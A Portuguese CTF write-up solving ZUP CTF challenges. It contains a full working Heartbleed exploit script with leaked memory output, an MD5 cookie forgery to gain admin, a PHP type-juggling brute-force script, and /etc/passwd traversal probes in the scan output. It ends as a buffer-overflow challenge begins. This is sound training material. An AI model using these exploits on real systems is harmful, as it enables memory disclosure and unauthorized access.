Este desafio era sobre a utilização de um buffer overflow para sobrepor o valor de uma variável inteira. O código fonte da página era o seguinte:
Caso o atacante conseguisse sobrepor o valor da variável inteira que era iniciado com zero a flag seria revelada.
O código fonte tinha a declaração de um array de char para representar a string que era entrada pelo usuário através do formulário e logo após a declaração desse buffer que tinha um tamanho limitado a variável inteira era declarada.
Para tentar garantir que o buffer não seria "estourado" o código fonte incluía o terminador nulo no fim da string a fim de impedir que uma string de tamanho maior que o buffer fosse inserida como entrada.
O buffer era preenchido com a função sprintf sem usar nenhum argumento e essa é a vulnerabilidade. Ao usar uma format string os próximos argumentos que estão na pilha são usados para preencher elas. Para estourar o buffer bastou preencher o input com uma sequência de %d's que fez com que os valores inteiros que estavam na pilha de chamada fossem colocados na string o que gerou uma string maior que o tamanho do buffer invadindo o espaço de memória da variável inteira sobrepondo seu valor.
A resposta retornada foi:
Welcome to the ZUP CTF, brought to you by RED TEAM
ZUP-CTF{n0wy0uh4d703xpl0r3pr0p3rly}
Se você sabe a resposta para a vida, o universo e tudo mais, você já sabe a flag.
O enunciado do desafio é uma pergunta que foi extraída do livro "O guia do mochileiro das galáxias" que é um clássico da literatura nerd :D. No livro temos um computador que passou milhões de anos calculando a resposta para a pergunta "Qual o sentido da vida do universo e tudo mais?". A resposta do computador foi o número 42 o que nos leva a flag CTF-ZUP{42}
.
Ao abrir o site havia um loop em javascript com milhões de alerts. Desabilitei o javascript do navegador para evitar os alerts e procurei na página se havia alguma flag. Como não encontrei nada, resolvi olhar os cookies gravados pelo site e a flag estava em um cookie. A requisição curl abaixo mostra o cookie gravado pelo site que é a flag ZUP-CTF{c0okie-b-olad4an}}
:
$ curl -X HEAD -v http://15.228.18.99:18131/
Warning: Setting custom HTTP method to HEAD with -X/--request may not work the
Warning: way you want. Consider using -I/--head instead.
* Trying 15.228.18.99:18131...
* TCP_NODELAY set
* Connected to 15.228.18.99 (15.228.18.99) port 18131 (#0)
> HEAD / HTTP/1.1
> Host: 15.228.18.99:18131
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 05 Jul 2022 15:13:26 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.0.33
< Set-Cookie: FLAG=ZUP-CTF%7Bc0okie-b-olad4an%7D%7D; expires=Tue, 12-Jul-2022 15:13:26 GMT; Max-Age=604800; path=/
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
* Closing connection 0
O desafio se tratava de uma mensagem codificada como se o pikachu estivesse falando:
pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka pikachu ka ka ka ka ka pikachu pichu pichu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pipi ka ka ka pikachu pipi pi pi pi pi pikachu pichu pi pi pi pikachu pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pichu pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pipi ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka pikachu pichu pichu pikachu pipi pipi pi pi pikachu pi pi pi pi pi pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pikachu pi pi pi pi pi pi pi pi pikachu
Ao pesquisar no google por "pikachu encoding" encontrei o link https://www.dcode.fr/pikalang-language.
Ao entrar a mensagem no formulário decodificar obtemos flag: ZUP-CTF{PI-PI-PI-kaka-chuu}
Para esse desafio usei uma ferramenta chamada dirsearch
(https://github.com/maurosoria/dirsearch) para mapear os diretórios e arquivos conhecidos presentes no site e obtive o seguinte resultado:
$ python dirsearch.py -u https://zup-look-closely.chals.io/
_|. _ _ _ _ _ _|_ v0.4.2.6
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11346
Output File: /home/alexandrebitencourt/workspaces/ctf/dirsearch/reports/zup-look-closely.chals.io/__22-07-04_19-43-58.txt
Target: https://zup-look-closely.chals.io/
[19:43:58] Starting:
[19:44:02] 301 - 46B - /%2e%2e//google.com -> /google.com
[19:44:02] 301 - 46B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> /etc/passwd
[19:44:44] 301 - 46B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> /etc/passwd
[19:44:45] 301 - 87B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[19:44:56] 301 - 77B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf
[19:44:56] 301 - 74B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf
[19:44:58] 301 - 62B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf
[19:44:59] 301 - 42B - /files -> /files/
[19:44:59] 200 - 599B - /files/
[19:44:59] 404 - 19B - /files/cache/
[19:44:59] 404 - 19B - /files/tmp/
[19:45:04] 301 - 72B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf
[19:45:05] 200 - 83B - /images/
[19:45:05] 404 - 19B - /images/Sym.php
[19:45:05] 404 - 19B - /images/c99.php
[19:45:05] 404 - 19B - /images/README
[19:45:05] 301 - 43B - /images -> /images/
[19:45:14] 200 - 39KB - /main.js
Task Completed
O scan retornou as pastas images
, files
e um arquivo main.js
.
Ao entrar na pasta files
havia um arquivo flag.txt
que continha uma flag falsa e outros arquivos que não tinham nenhuma flag.
Parti para a análise do /main.js
que era um arquivo javascript ofuscado. Tentei rodar o código no interpretador do nodejs para ver o que era e reclamou da não existência da variável window
o que indica que é um script que espera ser rodado em um browser.
Ao abrir o console do navegador e executar o código foi revelada uma função javascript. Ao clicar nela e ver o conteúdo, no fim da função havia um comentário com uma string base64:
window.onload = function() {
var text = "Welcome to Zup CTF";
var myH1 = document.createElement("h1");
myH1.innerHTML = text;
myH1.style.textAlign = "center";
document.body.appendChild(myH1);
var text_paragraph = "Let's see if you can find the flag.\n\nIt is hidden somewhere in the server.";
var myPara = document.createElement("p");
myPara.innerHTML = text_paragraph;
myPara.style.textAlign = "center";
document.body.appendChild(myPara);
var myImg = document.createElement("img");
myImg.src = "./images/lupa.gif";
myImg.alt = "detective";
myImg.style.display = "block";
myImg.style.margin = "auto";
myImg.style.width = "50%";
document.body.appendChild(myImg);
}
//WlVQLUNURntqNWZ1Y2sxNTR3M3MwbTNicjBoNGg0fQ==
Decodificando a string temos a flag: ZUP-CTF{j5fuck154w3s0m3br0h4h4}
Nesse desafio tínhamos um arquivo zip com três imagens jpg protegidas por senha e um arquivo de texto com o seguinte conteúdo:
zupzu
zupzupzupzupzupzupzup
z
zupzupzupzupz
zupzupzupzupzup
z
zupzupzupzupzupzupzupzupzu
zupzupzupzupzupzupzup
zupzupzupzupzupz
Ao pesquisar o título do desafio no google descobri que se trata de uma cifra onde as letras são substituídas pelo número correspondente no alfabeto (1 a 26) e separadas por traços e encontrei um decodificador em (https://planetcalc.com/4884/).
- A minha primeira tentativa foi codificar o texto e usar o conteúdo gerado como entrada o fcrackzip para tentar ver se era a senha. (Não funcionou)
- Depois tentei juntar todo resultado em uma única linha. (Não funcionou também).
- Ao analisar o texto percebi que ele estava variando a cada linha o número de letras apenas, sempre usando a palavra zup. Contando as letras de cada uma das linhas e colocando no formato esperado pelo A1Z26 temos: 5-21-1-13-15-1-26-21-16.
- Ao usar o decodificador com a string acima temos a senha do zip (euamoazup).
- Com a senha foi possível extrair os jpgs do zip.
- Utilizando o comando
strings *.jpg | grep ZUP-CTF{
consegui achar a flag escondida nas imagens:ZUP-CTF{zup1nh4r0x}
Acessando o site https://zup-can-you-find-me.chals.io/ e analisando o código fonte da página percebi que havia uma linha escrita em preto no fundo preto com uma string encodada em base64: [+] Conhecida como V1ZoT2VscFlVblZpTTFKcw==
Decodifinado a string através do site https://www.base64decode.org/ percebi que era encodada mais de uma vez e seguindo decodificando tive a seguinte sequência de resultados: WVhOelpYUnViM1Js, YXNzZXRub3Rl e assetnote.
Asset Note é um site relacionado a segurança que mantém wordlists que podem ser usadas com a ferramenta ffuf do Tutorial para descobrir nomes de arquivos.
Escolhi as listas baseado nas dicas do desafio:
[+] Busque .php.js.jsp.zip.rar [+] Sou uma lista de uma bigQuery
Das extensões indicadas e geradas via bigquery encontrei as seguintes listas:
https://wordlists-cdn.assetnote.io/data/manual/jsp.txt https://wordlists-cdn.assetnote.io/data/manual/php.txt
Ao realizar a busca usando a lista de nomes de jsps foi encontrado o resultado:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : https://zup-can-you-find-me.chals.io/FUZZ
:: Wordlist : FUZZ: assetnote/jsp.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
listPaymentObligationDocumentTypes.jsp [Status: 200, Size: 24, Words: 1, Lines: 2, Duration: 143ms]
Ao acessar o endereço encontrado temos a flag: ZUP-CTF{JSP-RECON-9219}
Ao acessar o site do desafio havia um vídeo com a música Coração do Alceu Valença. Analisando o site não percebi nada a ser explorado, mas como era um dos únicos desafios que tinha https
na URL suspeitei de uma brecha de segurança encontrada há alguns anos no SSL chamada HeartBleed
. Como nunca tinha usado um exploit dessa falha resolvi dar uma pesquisada e aprender sobre quando me deparei com o seguinte vídeo no youtube: https://www.youtube.com/watch?v=SgJm0C6jzbo. Nele aprendi como confirmar através do nmap
se o site é afetado pela falha e como executar um exploit para obter parte da memória do servidor. Usei o script indicado na descrição do vídeo mas tive que modificar ele para rodar no python3 pois ele era compatível apenas com python2. O script utilizado foi:
#!/usr/bin/env python
# coding=utf-8
# CVE-2014-0160 exploit PoC
# Originally from test code by Jared Stafford ([email protected])
import sys
import struct
import socket
import time
import select
import re
import codecs
from optparse import OptionParser
options = OptionParser(
usage='%prog server [options]',
description='Test for SSL heartbeat vulnerability (CVE-2014-0160)'
)
options.add_option(
'-p', '--port', type='int', default=443,
help='TCP port to test (default: 443)'
)
def h2bin(x):
return codecs.decode(x.replace(' ', '').replace('\n', ''), 'hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % c for c in lin)
pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
print(' %04x: %-48s %s' % (b, hxdat, pdat))
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = b''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print('Unexpected EOF receiving record header; server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print('Unexpected EOF receiving record payload; server closed connection')
return None, None, None
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ('No heartbeat response received; server likely not vulnerable')
return False
if typ == 24:
print ('Received heartbeat response:')
hexdump(pay)
if len(pay) > 3:
print('WARNING: server returned more data than it should; server is vulnerable!')
else:
print('Server processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
print('Received alert:')
hexdump(pay)
print ('Server returned error; likely not vulnerable')
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Connecting...')
sys.stdout.flush()
s.connect((args[0], opts.port))
print ('Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
print ('Waiting for Server Hello...')
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print ('Server closed connection without sending Server Hello.')
return
# Look for server hello done message.
if typ == 22 and pay[0] == 0x0E:
break
print('Sending heartbeat request...')
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
Para executar o ataque rodei o seguinte comando:
$ python hearbleed.py 18.228.224.29 -p 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 716
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C [email protected][...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 63 65 70 74 ....#.......cept
00e0: 2D 4C 61 6E 67 75 61 67 65 3A 20 70 74 0D 0A 43 -Language: pt..C
00f0: 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6D 61 ache-Control: ma
0100: 78 2D 61 67 65 3D 30 0D 0A 43 6F 6E 6E 65 63 74 x-age=0..Connect
0110: 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69 76 65 0D ion: keep-alive.
0120: 0A 53 65 63 2D 46 65 74 63 68 2D 44 65 73 74 3A .Sec-Fetch-Dest:
0130: 20 64 6F 63 75 6D 65 6E 74 0D 0A 53 65 63 2D 46 document..Sec-F
0140: 65 74 63 68 2D 4D 6F 64 65 3A 20 6E 61 76 69 67 etch-Mode: navig
0150: 61 74 65 0D 0A 53 65 63 2D 46 65 74 63 68 2D 53 ate..Sec-Fetch-S
0160: 69 74 65 3A 20 6E 6F 6E 65 0D 0A 53 65 63 2D 46 ite: none..Sec-F
0170: 65 74 63 68 2D 55 73 65 72 3A 20 3F 31 0D 0A 55 etch-User: ?1..U
0180: 70 67 72 61 64 65 2D 49 6E 73 65 63 75 72 65 2D pgrade-Insecure-
0190: 52 65 71 75 65 73 74 73 3A 20 31 0D 0A 55 73 65 Requests: 1..Use
01a0: 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 r-Agent: Mozilla
01b0: 2F 35 2E 30 20 28 58 31 31 3B 20 4C 69 6E 75 78 /5.0 (X11; Linux
01c0: 20 78 38 36 5F 36 34 29 20 57 6C 56 51 4C 55 4E x86_64) WlVQLUN
01d0: 55 52 6E 74 6F 4D 7A 52 79 4E 32 4A 73 4D 7A 4E URntoMzRyN2JsMzN
01e0: 6B 4D 7A 51 31 65 58 30 3D 20 43 68 72 6F 6D 65 kMzQ1eX0= Chrome
01f0: 2F 31 30 32 2E 30 2E 30 2E 30 20 53 61 66 61 72 /102.0.0.0 Safar
0200: 69 2F 35 33 37 2E 33 36 0D 0A 73 65 63 2D 63 68 i/537.36..sec-ch
0210: 2D 75 61 3A 20 22 20 4E 6F 74 20 41 3B 42 72 61 -ua: " Not A;Bra
0220: 6E 64 22 3B 76 3D 22 39 39 22 2C 20 22 43 68 72 nd";v="99", "Chr
0230: 6F 6D 69 75 6D 22 3B 76 3D 22 31 30 32 22 2C 20 omium";v="102",
0240: 22 47 6F 6F 67 6C 65 20 43 68 72 6F 6D 65 22 3B "Google Chrome";
0250: 76 3D 22 31 30 32 22 0D 0A 73 65 63 2D 63 68 2D v="102"..sec-ch-
0260: 75 61 2D 6D 6F 62 69 6C 65 3A 20 3F 30 0D 0A 73 ua-mobile: ?0..s
0270: 65 63 2D 63 68 2D 75 61 2D 70 6C 61 74 66 6F 72 ec-ch-ua-platfor
0280: 6D 3A 20 22 4C 69 6E 75 78 22 0D 0A 0D 0A FC 39 m: "Linux".....9
0290: 2E 52 D6 7D D3 01 80 60 C8 38 95 08 43 9B 00 00 .R.}...`.8..C...
... mais alguns dados ...
O dump da memória gerado continha uma string codificada em base64 WlVQLUNURntoMzRyN2JsMzNkMzQ1eX0=
que ao ser decodificada revelou a flag.
$ echo WlVQLUNURntoMzRyN2JsMzNkMzQ1eX0= | base64 -d
ZUP-CTF{h34r7bl33d345y}
O servidor deste desafio estava rodando o Localstack que é uma ferramenta de desenvolvimento que simula a AWS localmente para realização de testes e desenvolvimento.
Configurei as credenciais do client da AWS para as esperadas pelo LocalStack e fiz algum tempo de discovery dos serviços que estavam com dados.
Acabei encontrando na região sa-east-1
duas tabelas do dynamo com o comando:
$ aws --endpoint-url http://15.228.223.107:4566 dynamodb list-tables
{
"TableNames": [
"Music",
"Sertanejo"
]
}
Ao fazer scan em uma das tabelas chamada Music com o comando acabei encontrado a flag ZUP-CTF{M3l0di44-l33t}
em um dos registros da tabela:
$ aws --endpoint-url http://15.228.223.107:4566 dynamodb scan --table-name Music
{
"Items": [
{
"Artist": {
"S": "No One You Know"
},
"AlbumTitle": {
"S": "ZUP-CTF{M3l0di44-l33t}"
},
"Awards": {
"N": "1"
},
"SongTitle": {
"S": "Call Me Today"
}
}
],
"Count": 1,
"ScannedCount": 1,
"ConsumedCapacity": null
}
O objetivo do desafio era supostamente gerar um arquivo de licença válido para o ZipZup. Utilizando o IDA Freeware (https://hex-rays.com/ida-free/) para disassemblar e debugar o executável consegui identificar que na verdade a rotina de verificação apenas olhava se o arquivo informado como argumento no parâmetro --license
existia e sempre retornava -1. Abaixo temos o disassembly da rotina de verificação:
.text:000055BE32D754E9 ; =============== S U B R O U T I N E =======================================
.text:000055BE32D754E9
.text:000055BE32D754E9 ; Attributes: bp-based frame
.text:000055BE32D754E9
.text:000055BE32D754E9 sub_55BE32D754E9 proc near ; CODE XREF: main+D6↓p
.text:000055BE32D754E9
.text:000055BE32D754E9 filename = qword ptr -18h
.text:000055BE32D754E9 stream = qword ptr -8
.text:000055BE32D754E9
.text:000055BE32D754E9 endbr64
.text:000055BE32D754ED push rbp
.text:000055BE32D754EE mov rbp, rsp
.text:000055BE32D754F1 sub rsp, 20h
.text:000055BE32D754F5 mov [rbp+filename], rdi
.text:000055BE32D754F9 mov rax, [rbp+filename]
.text:000055BE32D754FD lea rsi, modes ; "r"
.text:000055BE32D75504 mov rdi, rax ; filename
.text:000055BE32D75507 call _fopen
.text:000055BE32D7550C mov [rbp+stream], rax
.text:000055BE32D75510 cmp [rbp+stream], 0
.text:000055BE32D75515 jnz short loc_55BE32D75536
.text:000055BE32D75517 mov rax, [rbp+filename]
.text:000055BE32D7551B mov rsi, rax
.text:000055BE32D7551E lea rdi, format ; "Error opening %s file\n"
.text:000055BE32D75525 mov eax, 0
.text:000055BE32D7552A call _printf
.text:000055BE32D7552F mov eax, 0FFFFFFFFh
.text:000055BE32D75534 jmp short locret_55BE32D75547
.text:000055BE32D75536 ; ---------------------------------------------------------------------------
.text:000055BE32D75536
.text:000055BE32D75536 loc_55BE32D75536: ; CODE XREF: sub_55BE32D754E9+2C↑j
.text:000055BE32D75536 mov rax, [rbp+stream]
.text:000055BE32D7553A mov rdi, rax ; stream
.text:000055BE32D7553D call _fclose
.text:000055BE32D75542 mov eax, 0FFFFFFFFh
.text:000055BE32D75547
.text:000055BE32D75547 locret_55BE32D75547: ; CODE XREF: sub_55BE32D754E9+4B↑j
.text:000055BE32D75547 leave
.text:000055BE32D75548 retn
.text:000055BE32D75548 sub_55BE32D754E9 endp
Nessa subrotina da para ver que o arquivo é aberto e fechado sem nenhum tipo de leitura ou qualquer outra verificação e que o retorno da função (colocado no registrador eax) é sempre 0FFFFFFFFh (-1).
O código que chama essa subrotina fica na função main
do executável e o trecho relevante do disassembly é o seguinte:
.text:000055BE32D75B15 mov rax, [rbp+var_270]
.text:000055BE32D75B1C add rax, 10h
.text:000055BE32D75B20 mov rax, [rax]
.text:000055BE32D75B23 mov rdi, rax
.text:000055BE32D75B26 call sub_55BE32D754E9
.text:000055BE32D75B2B test eax, eax
.text:000055BE32D75B2D jnz short loc_55BE32D75B4A
.text:000055BE32D75B2F lea rdi, aThanksForPurch ; "Thanks for purchasing ZupZip!\n"
.text:000055BE32D75B36 call _puts
.text:000055BE32D75B3B call sub_55BE32D75549
.text:000055BE32D75B40 mov eax, 0
.text:000055BE32D75B45 jmp loc_55BE32D76646
.text:000055BE32D75B4A ; ---------------------------------------------------------------------------
.text:000055BE32D75B4A
.text:000055BE32D75B4A loc_55BE32D75B4A: ; CODE XREF: main+DD↑j
.text:000055BE32D75B4A lea rdi, aLicenseNotVali ; "License not valid!"
.text:000055BE32D75B51 call _puts
.text:000055BE32D75B56 mov eax, 0FFFFFFFFh
.text:000055BE32D75B5B jmp loc_55BE32D76646
Após chamar a subrotina sub_55BE32D754E9
é feita uma verificação para avaliar se o eax
contém zero e caso não tenha é exibida a mensagem de licença inválida. Caso contrário é chamada uma outra subrotina que imprime a flag sub_55BE32D75549
.
Confesso que isso foi um pouco frustrante pois esperava ter que gerar um arquivo de licença válido e nesse desafio isso seria impossível. Gerei um arquivo de licença com qualquer conteúdo para prosseguir e restou fazer o trabalho sujo de alterar o retorno da função de verificação para que a instrução jnz short loc_55BE32D75B4A
não desviasse o fluxo para o erro e a flag fosse impressa.
Isso poderia ser feito com um patch no executável, seja alterando o valor de retorno da função que estava fixo para zero, seja alterando o bytecode da instrução jnz
para jz
, mas preferi executar o debugger, colocar um breakpoint na instrução test eax, eax
que é executada antes do jnz
e alterar o valor de EAX para zero antes de prosseguir tendo a flag impressa no console:
Please note that ZupZip is not free software.
After 40 day trial period you must either buy a license
or remove it from your computer
Press any key to continue...
Thanks for purchasing ZupZip!
ZUP-CTF{r3vEr5e_M4st3r}
Ao acessar a página do desafio temos a configuração do nginx com uma regex para retornar 403 quando a requisição é feita para a página flag.html:
Para resolver esse desafio era necessário fazer uma requisição simples HTTP que está definida na RFC do HTTP/1.0 (https://datatracker.ietf.org/doc/html/rfc1945#section-4.1).
Nela a definição de uma Simple-Request é:
Simple-Request = "GET" SP Request-URI CRLF
Utilizando o netcat
conectei na porta do servidor e enviei a seguinte requisição:
$ nc 18.228.232.207 80
GET /flag.html
ZUP-CTF{k5j4dh14u5dhc13dfuhfd5}
O servidor considera essa requisição válida e retorna o HTML pois a regex levava em consideração a versão HTTP que não é enviada em uma requisição simples.
Após utilizar o nmap
para fazer um scan completo do site encontrei um robots.txt com o seguinte conteúdo:
Disallow: /bab93a7b6ea8f031879676f649312d1e
Ao acessar o arquivo proíbida pelo robots ele tinha o seguinte conteúdo:
user:d22aa28cbe1d8aa64b0752d5a69a4e9c
Esse formato indica um arquivo de senhas com o formato usuario:hash_da_senha
. Pelo tamanho do hash da para perceber que se trata de um MD5.
Acessei o site md5decrypt.net e joguei o hash obtendo como resultado:
user12345678
Fiz o login no desafio com o usuário user
e a senha user12345678
.
Havia um link com a flag mas ao clicar nele a mensagem Sorry. Only admin can see the flag!
era exibida.
Analisando os cookies gravados pelo site vi que havia um cookie user_id
com o conteúdo ee11cbb19052e40b07aac0ca060c23ee
que é outro hash md5 conhecido. Decodificando o hash ele corresponde à string user
. Como o esperado pelo site é que o acesso seja feito pelo admin alterei o valor do cookie para 21232f297a57a5a743894a0e4a801fc3
que corresponde ao md5 da string admin
.
Ao fazer refresh da página a flag foi exibida: ZUP-CTF{345y4dm1n1d0rC00k13ch4ll3ng3}
Pesquisando o termo "php juggling" no google achei muita informação e exemplos sobre o problema de ser usar o operador de comparação ==
no php ao invés do operador ===
.
Dentre as informações interessantes que encontrei, quando o operador ==
é usado para comparar uma string que começa com 0e
o valor é tratado como um número e comparações como "0e00123123123" == "0e212133212313"
por exemplo, sempre retornam true pois zero é igual a zero.
Olhando para o código fonte do problema não consegui pensar em uma forma trivial de fazer o exploit pois o hash calculado pelo desafio dependia da flag que não era uma variável que estava sobre meu controle.
Com isso em mente criei um script para fazer força bruta definido o parâmetro hash como 0e0000000
que satisfazia a condição do hash ser maior que 6 dígitos, fixei o parâmetro email como [email protected]
para satisfazer a condição do email ter domínio zup.com.br e variei o valor do password com strings aleatórias. A ideia por trás desse ataque de força bruta é a de que o hash MD5 eventualmente vai retornar algo começado com 0e
com alguma das strings enviadas, o que torna a comparação com o hash enviado verdadeira.
Fiz uso de asyncio do python para enviar 1000 requisições por vez limitando a 40 requisições simultâneas para obter o resultado mais rápido. Segue o script criado:
import asyncio
import aiohttp
import time
import string
import random
alphabet = string.ascii_letters + string.digits
async def gather_with_concurrency(n, *tasks):
semaphore = asyncio.Semaphore(n)
async def sem_task(task):
async with semaphore:
return await task
return await asyncio.gather(*(sem_task(task) for task in tasks))
async def get_async(url, session, results):
async with session.get(url) as response:
i = url.split('/')[-1]
obj = await response.text()
results[i] = obj
def generate_random_pass():
length = random.choice(range(1, 10))
letters = random.choices(alphabet, k=length)
return ''.join(letters)
async def main():
conn = aiohttp.TCPConnector(limit=None, ttl_dns_cache=300)
session = aiohttp.ClientSession(connector=conn)
results = {}
conc_req = 40
now = time.time()
found = False
count = 0
while not found:
urls = [f"https://zup-welcometothejuggling2.chals.io/[email protected]&pass={generate_random_pass()}&hash=0e0000" for _ in range(1000)]
await gather_with_concurrency(conc_req, *[get_async(i, session, results) for i in urls])
count += len(urls)
for url, content in results.items():
if not "Wrooooooong" in content:
print(url, content)
found = True
print(count)
results = {}
time_taken = time.time() - now
print(time_taken)
await session.close()
asyncio.run(main())
Após pouco mais de um minuto e 18 mil requisições a comparação deu true e a flag ZUP-CTF{Ju66l1n62.0!}
foi encontrada:
1000
2000
3000
4000
5000
6000
7000
8000
9000
10000
11000
12000
13000
14000
15000
16000
17000
[email protected]&pass=p3F12p&hash=0e0000 <!DOCTYPE html>
<html>
<title>Welcome to the Juggling 2.0</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<body bgcolor="#afafaf">
<center>
<h1 style="font-size:60px;">If you find my email and password I'll give you the flag</h1>
</center>
<hr>
<div style="position: relative; top:10px; align:center; bottom:500px;">
<div>
<center style='color:blue'><h3>Congratulations, you found my email and password!<h3><center style='color:red'><h3>The flag is: ZUP-CTF{Ju66l1n62.0!}<h3>
18000
76.19752478599548
Esse desafio consiste em efetuar um buffer overflow para alterar o endereço de retorno na pilha de chamadas para imprimir a flag.
Inicialmente executei o programa ele mostrou o seguinte output:
$ ./crackme
[+] Server Socket Created Sucessfully.
[+] Bind to Port number 8090.
[+] Listening on 0.0.0.0:8090
Hora de usar o netcat
em outro terminal e ver no que dá:
$ echo -n "abc" | nc localhost 8090
Try harder!
No terminal onde estava sendo executado o servido foi impresso:
[+] Connection received from 0.0.0.0
[+] Client 0.0.0.0 sent payload
Welcome to ZUP CTF, brought to you by Red'n'Blue Teams
data is at 0x8d1fa0, fp is at 0x8d1ff0, will be calling 0x401ed3
Como o nome do desafio (BOF) sugeria buffer overflow enviei uma string bem grande para entender o que iria acontecer.
